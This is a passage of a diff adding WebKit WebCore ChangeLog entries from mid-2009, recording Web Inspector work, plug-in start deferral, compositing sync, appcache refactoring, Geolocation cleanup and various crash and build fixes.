+        (WebInspector.StylePropertiesSection.prototype._dblclickEmptySpace): easily create new properties
+        (WebInspector.StylePropertiesSection.prototype._dblclickSelector):
+        (WebInspector.StylePropertiesSection.prototype.startEditingSelector): allow for editing selectors
+        (WebInspector.StylePropertiesSection.prototype.editingSelectorCommitted):
+        (WebInspector.StylePropertiesSection.prototype.editingSelectorCancelled):
+        (WebInspector.StylePropertiesSection.prototype._doesSelectorAffectSelectedNode): helper to check if a selector applies to the selected node
+        (WebInspector.BlankStylePropertiesSection.prototype._dblclick):
+        (WebInspector.BlankStylePropertiesSection.prototype.startEditing):
+        (WebInspector.BlankStylePropertiesSection.prototype.editingCancelled):
+        (WebInspector.BlankStylePropertiesSection.prototype.editingCommitted):
+        (WebInspector.BlankStylePropertiesSection.prototype.makeNormal): morph into a StylePropertiesSection
+        (WebInspector.StylePropertyTreeElement.prototype):
+        (WebInspector.StylePropertyTreeElement.prototype.):
+        * inspector/front-end/inspector.css:
+
+2009-07-31  Anton Muhin  <antonm@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        [v8] check if proxy is present before invoking a handler
+        https://bugs.webkit.org/show_bug.cgi?id=27883 
+
+        Do not invoke handler function if proxy is null pointer (that would lead to access violation
+        anyway)
+
+        * bindings/v8/custom/V8CustomEventListener.cpp:
+        (WebCore::V8EventListener::callListenerFunction):
+
+2009-08-01  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Reimplement Elements Panel so that its
+        interaction with DOM is serialized.
+
+        This is a first cut wuth read support for DOM elements
+        tree as well as some limited editing. No properties, no
+        styles, no search capabilities are implemented yet.
+        Set Preferences.useDOMAgent to true in order to try it
+        out, otherwise disabled by default.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27771
+
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * WebCoreSources.bkl:
+        * inspector/InspectorBackend.cpp:
+        (WebCore::InspectorBackend::getChildNodes):
+        (WebCore::InspectorBackend::setAttribute):
+        (WebCore::InspectorBackend::removeAttribute):
+        (WebCore::InspectorBackend::setTextNodeValue):
+        * inspector/InspectorBackend.h:
+        * inspector/InspectorBackend.idl:
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::windowScriptObjectAvailable):
+        (WebCore::InspectorController::setFrontendProxyObject):
+        (WebCore::InspectorController::close):
+        (WebCore::InspectorController::populateScriptObjects):
+        (WebCore::InspectorController::didCommitLoad):
+        * inspector/InspectorController.h:
+        (WebCore::InspectorController::domAgent):
+        * inspector/InspectorDOMAgent.cpp: Added.
+        * inspector/InspectorDOMAgent.h: Added.
+        * inspector/InspectorFrontend.cpp:
+        * inspector/InspectorFrontend.h:
+        * inspector/front-end/Callback.js: Added.
+        * inspector/front-end/DOMAgent.js: Added.
+        * inspector/front-end/ElementsPanel.js:
+        * inspector/front-end/WebKit.qrc:
+        * inspector/front-end/inspector.html:
+        * inspector/front-end/inspector.js:
+        (WebInspector.loaded):
+
+2009-08-01  Ryosuke Niwa  <rniwa@webkit.org>
+
+        Reviewed by Adele Peterson.
+
+        isContentEditable function in htmlediting.* must be removed
+        https://bugs.webkit.org/show_bug.cgi?id=27870
+
+        This patch removes isContentEditable function in htmlediting.cpp and
+        replaces all usage by calling Node::isContentEditable or its derivatives.
+
+        * editing/AppendNodeCommand.cpp: ditto
+        (WebCore::AppendNodeCommand::AppendNodeCommand): ditto
+        * editing/IndentOutdentCommand.cpp: ditto
+        (WebCore::IndentOutdentCommand::outdentParagraph): ditto
+        * editing/InsertNodeBeforeCommand.cpp: ditto
+        (WebCore::InsertNodeBeforeCommand::InsertNodeBeforeCommand): ditto
+        * editing/htmlediting.cpp: ditto
+        (WebCore::enclosingNodeWithTag): ditto
+        (WebCore::enclosingNodeOfType): ditto
+        (WebCore::canMergeLists): ditto
+        * editing/htmlediting.h: Updated prototype
+
+2009-08-01  John Abd-El-Malek  <jam@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Fix a message port handle always getting marked as reachable once it gets entangled.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27824
+
+        No tests since this only arises with the Chromium multi-process message port implementation
+        which isn't in this repostiory.
+
+        * bindings/v8/V8GCController.cpp:
+        (WebCore::GCEpilogueVisitor::visitDOMWrapper):
+
+2009-07-31  Yong Li  <yong.li@torchmobile.com>
+
+        Reviewed by Adam Barth.
+
+        Fix Geolocation permission problem
+        https://bugs.webkit.org/show_bug.cgi?id=26993
+
+        * page/Geolocation.cpp:
+        (WebCore::Geolocation::requestPermission):
+
+2009-07-31  Norbert Leser  <norbert.leser@nokia.com>
+
+        Reviewed by Eric Seidel.
+
+        Added project properties as needed by symbian platform
+
+        * WebCore.pro:
+
+2009-07-31  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by Holger Freyther.
+
+        Fix compiler warning.
+
+        Initialize member variables in the correct order.
+
+        * plugins/PluginView.cpp:
+        (WebCore::PluginView::PluginView):
+
+2009-07-31  Jon Honeycutt  <jhoneycutt@apple.com>
+
+        Windows build fix!
+
+        Unreviewed.
+
+        * page/win/PageWin.cpp:
+
+2009-07-31  Jon Honeycutt  <jhoneycutt@apple.com>
+
+        Mac build fix.
+
+        Unreviewed.
+
+        * page/Page.cpp:
+        Move setCanStartPlugins() from here...
+        * page/win/PageWin.cpp:
+        (WebCore::Page::setCanStartPlugins):
+        ... to here.
+
+2009-07-29  Jon Honeycutt  <jhoneycutt@apple.com>
+
+        <rdar://problem/5698113> Safari shouldn't auto-activate plug-ins in
+        background tabs (make Win consistent with Mac)
+
+        https://bugs.webkit.org/show_bug.cgi?id=27855
+
+        Reviewed by Anders Carlsson.
+
+        * loader/FrameLoaderClient.h:
+        (WebCore::FrameLoaderClient::dispatchDidFailToStartPlugin):
+        Declare a new function to dispatch failures to start plug-ins.
+
+        * page/Page.cpp:
+        (WebCore::Page::Page):
+        Initialize new member variable.
+        (WebCore::Page::addUnstartedPlugin):
+        Add the PluginView to the set of unstarted plug-ins.
+        (WebCore::Page::removeUnstartedPlugin):
+        Remove the PluginView from the set of unstarted plug-ins.
+        (WebCore::Page::setCanStartPlugins):
+        If we can now start plug-ins, iterate the set of unstarted plug-ins,
+        starting them. If a plug-in fails to start, dispatch a failed-to-start-
+        plug-in error. Clear the list of unstarted plug-ins.
+
+        * page/Page.h:
+        Added m_canStartPlugins to track whether we can currently start
+        plug-ins. Added m_unstartedPlugins to keep track of plug-ins in the
+        page that are waiting to be started.
+        (WebCore::Page::canStartPlugins):
+
+        * plugins/PluginView.cpp:
+        (WebCore::PluginView::start):
+        m_mimeType is now a WebCore::String, so we call .utf8(). If NPP_New()
+        fails, set m_status to reflect this; this used to be set by init(), but
+        start() will not be called by init() if we are delaying start().
+        If NPP_New() succeeds, set m_status to reflect this, and call
+        platformStart().
+        (WebCore::PluginView::startOrAddToUnstartedList):
+        If we cannot start plug-ins, add this view to the Page's list of
+        unstarted plug-ins and return true. Otherwise, call start() and return
+        the result.
+        (WebCore::PluginView::removeFromUnstartedListIfNecessary):
+        If we've been started or we don't have a Page, return early. Remove
+        ourselves from the Page's list of unstarted plug-ins.
+        (WebCore::PluginView::bindingInstance):
+        If we haven't been started yet, return 0. This matches the Mac
+        behavior.
+        (WebCore::PluginView::setParameters):
+        If we find the "plug-ins page" parameter, record it; it may be used if
+        we fail to start the plug-in.
+        (WebCore::PluginView::PluginView):
+        Initialize new members m_haveUpdatedPluginWidget. Initialize m_mimeType
+        with mimeType directly; m_mimeType is now a WebCore::String.
+
+        * plugins/PluginView.h:
+        Made start() public, so Page can call it when we start unstarted
+        plug-ins. Changed m_mimeType from CString to String and added
+        m_pluginsPage; these are needed by dispatchDidFailToStartPlugin().
+        (WebCore::PluginView::pluginsPage):
+        Added for dispatchDidFailToStartPlugin().
+        (WebCore::PluginView::mimeType):
+        Ditto.
+        (WebCore::PluginView::url):
+        Ditto.
+
+        * plugins/gtk/PluginViewGtk.cpp:
+        (WebCore::PluginView::platformStart):
+        Stubbed.
+
+        * plugins/mac/PluginViewMac.cpp:
+        (WebCore::PluginView::platformStart):
+        Stubbed.
+
+        * plugins/qt/PluginViewQt.cpp:
+        (WebCore::PluginView::platformStart):
+        Stubbed.
+
+        * plugins/win/PluginViewWin.cpp:
+        (WebCore::PluginView::updatePluginWidget):
+        Use m_haveUpdatedPluginWidget to ensure that we will call MoveWindow()
+        and SetWindowRgn() to position the plug-in and set its clip rect if an
+        earlier call to updatePluginWidget() was made before
+        setPlatformPluginWidget() was called to set the plug-in's HWND.
+        (WebCore::PluginView::~PluginView):
+        Call removeFromUnstartedListIfNecessary() to remove the plug-in from
+        the unstarted list if the plug-in is destroyed before it is started.
+        (WebCore::PluginView::init):
+        Call startOrAddtoUnstartedList to start the plug-in or, if plug-ins
+        cannot be started, to add it to the list of plug-ins waiting to be
+        started. Set m_status to indicate success; this is also set by start(),
+        but that may be delayed, and we don't want the loader to dispatch a
+        failed-to-start-plug-in error when we return from init().
+        (WebCore::PluginView::platformStart):
+        Added; code moved from init(). This is now called by start() to perform
+        any platform-specific tasks that need to take place after the plug-in
+        has started. Added a call to updatePluginWidget() to ensure we position
+        the plug-in and set its clip rect after the plug-in has started.
+        Removed the setting of m_status; start() does this before calling this
+        function (and we assert this at the head of the function).
+
+2009-07-30  Darin Adler  <darin@apple.com>
+
+        Reviewed by David Levin.
+
+        Use checked casts for render tree
+        https://bugs.webkit.org/show_bug.cgi?id=23522
+
+        Next step: Add casts for all the RenderTable classes and use them everywhere.
+
+        Also added a few uses in places that were still using static_cast.
+        Also made some virtual member functions private.
+        Also changed RenderTable::m_tableLayout to use OwnPtr.
+
+        * accessibility/AccessibilityTable.cpp:
+        (WebCore::AccessibilityTable::isTableExposableThroughAccessibility):
+        (WebCore::AccessibilityTable::addChildren):
+        (WebCore::AccessibilityTable::cellForColumnAndRow):
+        * accessibility/AccessibilityTableCell.cpp:
+        (WebCore::AccessibilityTableCell::parentTable):
+        (WebCore::AccessibilityTableCell::rowIndexRange):
+        (WebCore::AccessibilityTableCell::columnIndexRange):
+        (WebCore::AccessibilityTableCell::titleUIElement):
+        * accessibility/AccessibilityTableColumn.cpp:
+        (WebCore::AccessibilityTableColumn::headerObject):
+        * accessibility/AccessibilityTableRow.cpp:
+        (WebCore::AccessibilityTableRow::parentTable):
+        * editing/DeleteSelectionCommand.cpp:
+        (WebCore::DeleteSelectionCommand::removeNode):
+        * editing/TextIterator.cpp:
+        (WebCore::shouldEmitTabBeforeNode):
+        (WebCore::shouldEmitNewlinesBeforeAndAfterNode):
+        * html/HTMLTableCellElement.cpp:
+        (WebCore::HTMLTableCellElement::parseMappedAttribute):
+        * html/HTMLTableColElement.cpp:
+        (WebCore::HTMLTableColElement::parseMappedAttribute):
+        * page/Frame.cpp:
+        (WebCore::Frame::searchForLabelsAboveCell):
+        * page/mac/FrameMac.mm:
+        (WebCore::Frame::searchForNSLabelsAboveCell):
+        * rendering/AutoTableLayout.cpp:
+        (WebCore::AutoTableLayout::recalcColumn):
+        (WebCore::AutoTableLayout::fullRecalc):
+        (WebCore::shouldScaleColumns):
+        * rendering/FixedTableLayout.cpp:
+        (WebCore::FixedTableLayout::calcWidthArray):
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::calcPrefWidths):
+        * rendering/RenderBox.cpp:
+        (WebCore::RenderBox::calcPercentageHeight):
+        * rendering/RenderObject.cpp:
+        (WebCore::RenderObject::addChild):
+        (WebCore::RenderObject::containingBlock):
+        * rendering/RenderTableCell.cpp:
+        (WebCore::RenderTableCell::collapsedBottomBorder):
+        * rendering/RenderTableCol.cpp:
+        (WebCore::RenderTableCol::table):
+        * rendering/RenderTableRow.cpp:
+        (WebCore::RenderTableRow::addChild):
+        (WebCore::RenderTableRow::layout):
+        (WebCore::RenderTableRow::paint):
+        * rendering/RenderTableSection.cpp:
+        (WebCore::RenderTableSection::addChild):
+        (WebCore::RenderTableSection::layoutRows):
+        (WebCore::RenderTableSection::lowestPosition):
+        (WebCore::RenderTableSection::rightmostPosition):
+        (WebCore::RenderTableSection::leftmostPosition):
+        (WebCore::RenderTableSection::paintObject):
+        (WebCore::RenderTableSection::recalcCells):
+        * rendering/RenderTreeAsText.cpp:
+        (WebCore::operator<<):
+        (WebCore::writeTextRun):
+        Use checked casts.
+
+        * rendering/RenderTable.cpp:
+        (WebCore::RenderTable::styleDidChange): Updated to use OwnPtr.
+        (WebCore::RenderTable::addChild): Use checked cast.
+        (WebCore::RenderTable::layout): Ditto.
+        (WebCore::RenderTable::setCellWidths): Ditto.
+        (WebCore::RenderTable::paintObject): Ditto.
+        (WebCore::RenderTable::splitColumn): Ditto.
+        (WebCore::RenderTable::appendColumn): Ditto.
+        (WebCore::RenderTable::colElement): Ditto.
+        (WebCore::RenderTable::recalcSections): Ditto.
+        (WebCore::RenderTable::outerBorderBottom): Ditto.
+        (WebCore::RenderTable::outerBorderLeft): Ditto.
+        (WebCore::RenderTable::outerBorderRight): Ditto.
+        (WebCore::RenderTable::sectionAbove): Ditto.
+        (WebCore::RenderTable::sectionBelow): Ditto.
+
+        * rendering/RenderTable.h: Added checked cast. Made virtual
+        functions private. Changed m_tableLayout to be a OwnPtr.
+
+        * rendering/RenderTableCell.h: Added checked cast.
+        * rendering/RenderTableCol.h: Ditto. Made virtual functions private.
+        * rendering/RenderTableRow.h: Ditto.
+        * rendering/RenderTableSection.h: Ditto.
+
+2009-07-31  Brady Eidson  <beidson@apple.com>
+
+        Reviewed by John Sullivan.
+
+        <rdar://problem/6973106> and https://bugs.webkit.org/show_bug.cgi?id=27896
+        Favicons are still loaded when automatic image loading is disabled.
+
+        People who want to avoid loading images generally want to avoid loading all images.
+
+        Test: http/tests/misc/favicon-loads-with-images-disabled.html
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::startIconLoader): After committing the URL mapping, don't actually 
+          perform the load if images shouldn't be loading.
+
+2009-07-31  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Anders Carlsson.
+        
+        Accelerated animations stutter on pages with lots of animations and 3d transforms
+        https://bugs.webkit.org/show_bug.cgi?id=27884
+        
+        This patch changes the strategy for synchronizing painting view the view,
+        and compositing layer updates. Previously the strategy was to disable screen
+        updates between the time we updated the layer tree, and painted the view. That
+        left screen updates disabled for too long (hundreds of milliseconds) in some
+        cases, causing animation stutter.
+        
+        The new strategy is to batch up changes to the CA layer tree, and commit them
+        all at once just before painting happens (referred to as a "sync" in the code).
+        GraphicsLayerCA now keeps a bitmask of changed properties, and then migrates
+        the values stored in GraphicsLayer into the CA layer tree at commit time.
+        
+        Compositing layers are then synced in FrameView::paintContents(). However, not
+        all style/layout changes will result in painting; to deal with style changes that
+        touch only compositing properties, we set up a runloop observer that takes care
+        of comitting layer changes when no painting happens.
+
+        * WebCore.base.exp: Export FrameView::syncCompositingStateRecursive()
+
+        * loader/EmptyClients.h: scheduleViewUpdate() renamed to syncCompositingStateRecursive()
+        * page/ChromeClient.h: scheduleViewUpdate() renamed to syncCompositingStateRecursive()
+
+        * page/FrameView.h:
+        * page/FrameView.cpp:
+        (WebCore::FrameView::syncCompositingStateRecursive): syncCompositingState() on the
+        view and all subviews. Like layoutIfNeededRecursive(). If layout is pending, does not
+        sync and returns false, since we only want to sync when layout is done.
+        
+        (WebCore::FrameView::paintContents): syncCompositingState() before painting.
+
+        * page/animation/KeyframeAnimation.cpp:
+        (WebCore::KeyframeAnimation::endAnimation):
+        Call animationPaused() to notify the graphics layers about animation pausing.
+        
+        * platform/graphics/FloatPoint3D.h:
+        (WebCore::operator==):
+        (WebCore::operator!=): 
+        Add missing comparison operators.
+        
+        * platform/graphics/GraphicsLayer.cpp:
+        (WebCore::GraphicsLayer::setOpacity):
+        (WebCore::GraphicsLayer::setBackgroundColor): Simple setters no longer care about animation info.
+        
+        (WebCore::GraphicsLayer::paintGraphicsLayerContents): Null-check client.
+        
+        * platform/graphics/GraphicsLayer.h:
+        (WebCore::AnimationValue:):
+        (WebCore::TransformAnimationValue:):
+        (WebCore::KeyframeValueList:):
+        (WebCore::KeyframeValueList::insert):
+        Cleaned up versions of FloatValue and TransformValue, used to store information
+        about keyframes values.
+
+        (WebCore::GraphicsLayer::contentsRect):
+        (WebCore::GraphicsLayer::setContentsRect):
+        ContentsRect is now a simple setter.
+        
+        (WebCore::GraphicsLayer::addAnimation):
+        (WebCore::GraphicsLayer::removeAnimationsForProperty):
+        (WebCore::GraphicsLayer::removeAnimationsForKeyframes):
+        (WebCore::GraphicsLayer::pauseAnimation):
+        Simplified animation api.
+        
+        (WebCore::GraphicsLayer::setGeometryOrientation):
+        (WebCore::GraphicsLayer::geometryOrientation):
+        setGeometryOrientation is now just a normal member variable.
+        
+        (WebCore::GraphicsLayer::contentsOrientation): add a getter.
+        (WebCore::GraphicsLayer::syncCompositingState): Entry into the layer sync code.
+        
+        * platform/graphics/GraphicsLayerClient.h: scheduleViewUpdate() renamed to syncCompositingStateRecursive)
+
+        * platform/graphics/mac/GraphicsLayerCA.h:
+        * platform/graphics/mac/GraphicsLayerCA.mm:
+        Lots of cleanup and refactoring. Main points:
+        - Layer changes are all batched, and only committed to the CA layer on syncCompositingState().
+        - Bitmask is used to store which properties have changed. More efficient than before.
+        - Simpler animation interface; simple setters are no longer confounded with animations.
+        - Refactored code that creates CA animations, and stores which animations are running.
+
+        * platform/graphics/transforms/TransformOperations.h:
+        (WebCore::TransformOperations::size):
+        (WebCore::TransformOperations::at): Useful accessors for size and indexed access.
+        
+        * rendering/RenderLayerBacking.h:
+        * rendering/RenderLayerBacking.cpp:
+        Renamed 'contentsLayer' to 'foregroundLayer' to avoid confusion with GraphicsLayer's
+        contentsLayer.
+        Adapt to GraphicsLayer's simpler animation API.
+        Pass animation pausing through to the graphics layers.
+        contentsBox() is no longer a callback via GraphicsLayerClient.
+        
+        * rendering/RenderLayerCompositor.h:
+        * rendering/RenderLayerCompositor.cpp:
+        (WebCore::RenderLayerCompositor::setCompositingLayersNeedRebuild):
+        (WebCore::RenderLayerCompositor::scheduleSync):
+        (WebCore::RenderLayerCompositor::rebuildCompositingLayerTree):
+        scheduleViewUpdate() is no longer required. Instead, we plumb through "compositingLayerSync"
+        notifications, which travel up to WebKit and set up a runloop observer.
+        
+2009-07-30  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by David Levin.
+
+        Guard needs //'s between #endif and ENABLE(DATAGRID)
+        https://bugs.webkit.org/show_bug.cgi?id=27862
+
+        Compiling this file causes a build break without this change.
+
+        * bindings/v8/custom/V8DataGridColumnListCustom.cpp:
+
+2009-07-31  Greg Bolsinga  <bolsinga@apple.com>
+
+        Reviewed by Eric Seidel.
+
+        Geolocation clean up when no longer updating
+        https://bugs.webkit.org/show_bug.cgi?id=27888
+
+        When Geolocation::disconnectFrame() is called, need to call 
+        Document::setUsingGeolocation(false) to mirror the true call 
+        when it is set up.
+
+        When handling an error, and there are no more listeners, call
+        GeolocationService::stopUpdating().
+
+        * page/Geolocation.cpp:
+        (WebCore::Geolocation::disconnectFrame):
+        (WebCore::Geolocation::handleError):
+
+2009-07-31  Greg Bolsinga  <bolsinga@apple.com>
+
+        Reviewed by George Staikos.
+
+        Consolidate GeoLocation code to send positions and errors
+        https://bugs.webkit.org/show_bug.cgi?id=27863
+        
+        Create helper methods that will send positions and errors to either
+        one shots or watchers.
+
+        * page/Geolocation.cpp:
+        (WebCore::Geolocation::sendError):
+        (WebCore::Geolocation::sendErrorToOneShots):
+        (WebCore::Geolocation::sendErrorToWatchers):
+        (WebCore::Geolocation::sendPosition):
+        (WebCore::Geolocation::sendPositionToOneShots):
+        (WebCore::Geolocation::sendPositionToWatchers):
+        * page/Geolocation.h:
+
+2009-07-31  Xan Lopez  <xlopez@igalia.com>
+
+        Roll out previous change as it might be causing some weirdness in
+        the bots.
+
+        * platform/image-decoders/bmp/BMPImageDecoder.cpp:
+        (WebCore::BMPImageDecoder::processFileHeader):
+
+2009-07-31  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by Mark Rowe.
+
+        Fix compiler warning.
+        https://bugs.webkit.org/show_bug.cgi?id=27851
+
+        GCC does not like multi-character character constants, so use the
+        explicit numerical value of 'BM' in the enum.
+
+        * platform/image-decoders/bmp/BMPImageDecoder.cpp:
+        (WebCore::BMPImageDecoder::processFileHeader):
+
+2009-07-30  Brady Eidson  <beidson@apple.com>
+
+        Reviewed by Mark Rowe, but Dan Bernstein also reviewed and asked thoughtful questions.
+
+        <rdar://problem/7106968> and https://bugs.webkit.org/show_bug.cgi?id=27868
+        http://www.ruthhuntcandy.com/ goes into infinite refresh in WebKit, works in others.
+        
+        Test: http/tests/misc/meta-refresh-stray-single-quote.html
+
+        * platform/network/HTTPParsers.cpp:
+        (WebCore::parseHTTPRefresh): Allow for a stray quote character at the start of the URL string.
+
+2009-07-30  Mark Rowe  <mrowe@apple.com>
+
+        Reviewed by Adele Peterson and Jon Honeycutt.
+
+        Fix <https://bugs.webkit.org/show_bug.cgi?id=27828> for Mac.
+        Bug 27828: Title attribute is not respected on option elements
+
+        No tests added as it is not clear how to test a tool tip from DumpRenderTree.
+
+        * platform/PopupMenuClient.h: Add a method for retrieving the tool tip of an item.
+        * platform/mac/PopupMenuMac.mm:
+        (WebCore::PopupMenu::populate): Set the tool tip of the menu item to that of the represented item.
+        * rendering/RenderMenuList.cpp:
+        (WebCore::RenderMenuList::itemToolTip): Expose the title attribute of the element as the tool tip.
+        * rendering/RenderMenuList.h:
+        * rendering/RenderTextControlSingleLine.h:
+        (WebCore::RenderTextControlSingleLine::itemToolTip): Return an empty string, indicating no tool tip, for
+        the popup menu in RenderTextControlSingleLine.
+
+2009-07-30  Xiaomei Ji  <xji@chromium.org>
+
+        Reviewed by Dan Bernstein.
+
+        Remove ChromeClientChromium::setToolTip().
+        https://bugs.webkit.org/show_bug.cgi?id=27861
+
+        This patch is just to remove a temporarily introduced overloaded empty
+        virtual function. No test is needed.
+
+        * page/chromium/ChromeClientChromium.h:
+
+2009-07-30  Michael Nordman  <michaeln@google.com>
+
+        Reviewed by Darin Fisher.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27821
+
+        ApplicationCacheHost refactoring.
+        
+        1) Better encapsulate the interfaces between webcore common code
+        and the appcache system within a new class ApplicationCacheHost.
+
+        2) Use that interface throughout the loader system, replacing inline appcache logic.
+
+        3) Implement the interface in terms of webcore's appcache system.
+
+        4) Add the new files to various makefiles.
+
+        5) Implement protocolHostAndPortAreEqual() in KURLGoogle.cpp
+
+        No new features, no new tests. The existing layout tests all pass.
+
+        * GNUmakefile.am:
+        * WebCore.base.exp:
+        * WebCore.gypi:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * WebCoreSources.bkl:
+        * html/HTMLHtmlElement.cpp:
+        (WebCore::HTMLHtmlElement::insertedIntoDocument):
+        * loader/DocumentLoader.cpp:
+        (WebCore::DocumentLoader::DocumentLoader):
+        (WebCore::DocumentLoader::~DocumentLoader):
+        (WebCore::DocumentLoader::mainReceivedError):
+        (WebCore::DocumentLoader::detachFromFrame):
+        (WebCore::DocumentLoader::setPrimaryLoadComplete):
+        * loader/DocumentLoader.h:
+        (WebCore::DocumentLoader::applicationCacheHost):
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::canCachePageContainingThisFrame):
+        (WebCore::FrameLoader::logCanCacheFrameDecision):
+        (WebCore::FrameLoader::loadResourceSynchronously):
+        * loader/MainResourceLoader.cpp:
+        (WebCore::MainResourceLoader::didReceiveResponse):
+        (WebCore::MainResourceLoader::didReceiveData):
+        (WebCore::MainResourceLoader::didFinishLoading):
+        (WebCore::MainResourceLoader::didFail):
+        (WebCore::MainResourceLoader::load):
+        * loader/MainResourceLoader.h:
+        * loader/ResourceLoader.cpp:
+        (WebCore::ResourceLoader::load):
+        (WebCore::ResourceLoader::willSendRequest):
+        (WebCore::ResourceLoader::didReceiveResponse):
+        (WebCore::ResourceLoader::didFail):
+        * loader/ResourceLoader.h:
+        * loader/appcache/ApplicationCacheGroup.cpp:
+        (WebCore::ApplicationCacheGroup::selectCache):
+        (WebCore::ApplicationCacheGroup::selectCacheWithoutManifestURL):
+        (WebCore::ApplicationCacheGroup::finishedLoadingMainResource):
+        (WebCore::ApplicationCacheGroup::failedLoadingMainResource):
+        (WebCore::ApplicationCacheGroup::disassociateDocumentLoader):
+        (WebCore::ApplicationCacheGroup::update):
+        (WebCore::ApplicationCacheGroup::didFinishLoadingManifest):
+        (WebCore::ApplicationCacheGroup::manifestNotFound):
+        (WebCore::ApplicationCacheGroup::checkIfLoadIsComplete):
+        (WebCore::ApplicationCacheGroup::startLoadingEntry):
+        (WebCore::ApplicationCacheGroup::associateDocumentLoaderWithCache):
+        (WebCore::CallCacheListenerTask::create):
+        (WebCore::CallCacheListenerTask::performTask):
+        (WebCore::CallCacheListenerTask::CallCacheListenerTask):
+        (WebCore::ApplicationCacheGroup::postListenerTask):
+        * loader/appcache/ApplicationCacheGroup.h:
+        * loader/appcache/ApplicationCacheHost.cpp: Added.
+        * loader/appcache/ApplicationCacheHost.h: Added.
+        * loader/appcache/ApplicationCacheStorage.cpp:
+        (WebCore::ApplicationCacheStorage::transferApplicationCache):
+        * loader/appcache/ApplicationCacheStorage.h:
+        * loader/appcache/DOMApplicationCache.cpp:
+        (WebCore::DOMApplicationCache::DOMApplicationCache):
+        (WebCore::DOMApplicationCache::disconnectFrame):
+        (WebCore::DOMApplicationCache::applicationCacheHost):
+        (WebCore::DOMApplicationCache::status):
+        (WebCore::DOMApplicationCache::update):
+        (WebCore::DOMApplicationCache::swapCache):
+        (WebCore::DOMApplicationCache::addEventListener):
+        (WebCore::DOMApplicationCache::removeEventListener):
+        (WebCore::DOMApplicationCache::dispatchEvent):
+        (WebCore::DOMApplicationCache::callListener):
+        (WebCore::DOMApplicationCache::toEventName):
+        (WebCore::DOMApplicationCache::toEventType):
+        * loader/appcache/DOMApplicationCache.h:
+        (WebCore::DOMApplicationCache::):
+        (WebCore::DOMApplicationCache::setAttributeEventListener):
+        (WebCore::DOMApplicationCache::getAttributeEventListener):
+        (WebCore::DOMApplicationCache::clearAttributeEventListener):
+        (WebCore::DOMApplicationCache::callEventListener):
+        (WebCore::DOMApplicationCache::setOnchecking):
+        (WebCore::DOMApplicationCache::onchecking):
+        (WebCore::DOMApplicationCache::setOnerror):
+        (WebCore::DOMApplicationCache::onerror):
+        (WebCore::DOMApplicationCache::setOnnoupdate):
+        (WebCore::DOMApplicationCache::onnoupdate):
+        (WebCore::DOMApplicationCache::setOndownloading):
+        (WebCore::DOMApplicationCache::ondownloading):
+        (WebCore::DOMApplicationCache::setOnprogress):
+        (WebCore::DOMApplicationCache::onprogress):
+        (WebCore::DOMApplicationCache::setOnupdateready):
+        (WebCore::DOMApplicationCache::onupdateready):
+        (WebCore::DOMApplicationCache::setOncached):
+        (WebCore::DOMApplicationCache::oncached):
+        (WebCore::DOMApplicationCache::setOnobsolete):
+        (WebCore::DOMApplicationCache::onobsolete):
+        (WebCore::DOMApplicationCache::~DOMApplicationCache):
+        * platform/KURLGoogle.cpp:
+        (WebCore::protocolHostAndPortAreEqual):
+
+2009-07-30  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Bug 27854 - crash at WebCore::AXObjectCache::notificationPostTimerFired
+        https://bugs.webkit.org/show_bug.cgi?id=27854
+
+        AccessibilityObjects need to be retained while waiting to fire their notifications, otherwise
+        they can disappear and then lead to crashes.
+       
+        * accessibility/AXObjectCache.cpp:
+        (WebCore::AXObjectCache::notificationPostTimerFired):
+        (WebCore::AXObjectCache::postNotification):
+        * accessibility/AXObjectCache.h:
+
+2009-07-30  Simon Fraser  <simon.fraser@apple.com>
+
+        Minor change to earlier commit suggested by Darin Adler.
+        Use the variable rather than dereferencing 'it' again.
+
+        * css/CSSStyleSelector.cpp:
+        (WebCore::CSSStyleSelector::keyframeStylesForAnimation):
+
+2009-07-30  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Animation with a timing function property in a keyframe eats CPU
+        https://bugs.webkit.org/show_bug.cgi?id=27856
+        <rdar://problem/7104476> Animation demo uses lots of CPU
+        
+        Don't include animation-timing-function in the list of properties to
+        animate in a keyframe animation, because this property is not animated;
+        instead, it describes the timing function to apply to this keyframe.
+        
+        This prevents the animation code from thinking that there's a property
+        that it has to software-animate, and thus firing the animation timer frequently.
+        
+        Not testable because there is no visible impact.
+
+        * css/CSSStyleSelector.cpp:
+        (WebCore::CSSStyleSelector::keyframeStylesForAnimation): Don't add
+        CSSPropertyWebkitAnimationTimingFunction to the list of properties to animate.
+
+        * page/animation/KeyframeAnimation.cpp
+        (WebCore::KeyframeAnimation::getKeyframeAnimationInterval): Add a comment
+
+2009-07-30  Mike Fenton  <mike.fenton@torchmobile.com>
+
+         Reviewed by Adam Treat.
+
+         Apply colour style to buttons that use Theme settings in Qt.
+
+         https://bugs.webkit.org/show_bug.cgi?id=27814
+
+         * platform/qt/RenderThemeQt.cpp:
+         (WebCore::RenderThemeQt::adjustButtonStyle):
+
+2009-05-11  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Make WebCore compile with the new JS number representation.
+
+        * ForwardingHeaders/runtime/JSAPIValueWrapper.h: Added.
+        * ForwardingHeaders/runtime/JSNumberCell.h: Removed.
+        * bindings/js/ScriptEventListener.cpp:
+        * bindings/scripts/CodeGeneratorJS.pm:
+        * bridge/c/c_instance.cpp:
+
